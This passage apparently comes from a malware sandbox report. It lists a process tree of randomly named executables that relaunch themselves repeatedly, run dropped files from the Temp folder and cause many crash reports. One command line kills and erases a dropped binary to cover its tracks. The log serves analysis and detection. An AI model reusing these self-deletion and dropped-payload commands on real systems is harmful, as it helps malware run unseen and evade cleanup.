C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
C:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exeC:\Users\Admin\Documents\b5GwNexHDQCx8wzrbhMKrNQy.exe3⤵
-
-
-
C:\Users\Admin\Documents\JSfMCyCIPpOFiAsOQnok_vz5.exe"C:\Users\Admin\Documents\JSfMCyCIPpOFiAsOQnok_vz5.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\9lzfxgK6OpAzmYIkZkE5Dze2.exe"C:\Users\Admin\Documents\9lzfxgK6OpAzmYIkZkE5Dze2.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 6443⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 6563⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 8883⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 11203⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 11003⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\lbZdt6lBGJXwsnXJ5VKCVyhm.exe"C:\Users\Admin\Documents\lbZdt6lBGJXwsnXJ5VKCVyhm.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 7363⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 7403⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 7563⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 7203⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 11883⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 11803⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 12843⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 12243⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 11763⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 13963⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 14283⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 14643⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 13323⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2136 -s 14243⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\F3fEe57O6xvCqmPD0J3GWV4j.exe"C:\Users\Admin\Documents\F3fEe57O6xvCqmPD0J3GWV4j.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2572 -s 6643⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2572 -s 6803⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2572 -s 6523⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2572 -s 6603⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2572 -s 8923⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2572 -s 11243⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2572 -s 11043⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\itncg7GH8rB9MddaU8cAjbNw.exe"C:\Users\Admin\Documents\itncg7GH8rB9MddaU8cAjbNw.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 8243⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 8523⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 8563⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 8323⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 7683⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 11003⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 11403⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 13563⤵
- Program crash
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\1303073147.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\1303073147.exe"C:\Users\Admin\AppData\Local\Temp\1303073147.exe"4⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 17683⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 17043⤵
- Program crash
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\7427758431.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\7427758431.exe"C:\Users\Admin\AppData\Local\Temp\7427758431.exe"4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "itncg7GH8rB9MddaU8cAjbNw.exe" /f & erase "C:\Users\Admin\Documents\itncg7GH8rB9MddaU8cAjbNw.exe" & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "itncg7GH8rB9MddaU8cAjbNw.exe" /f4⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\Documents\EtVmkXlquQ_0wMh0gy4PpbGC.exe"C:\Users\Admin\Documents\EtVmkXlquQ_0wMh0gy4PpbGC.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe"C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1340 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exeC:\Users\Admin\Documents\3Ji84kZ4lzkaajahO5ghzsJ4.exe3⤵
-
-
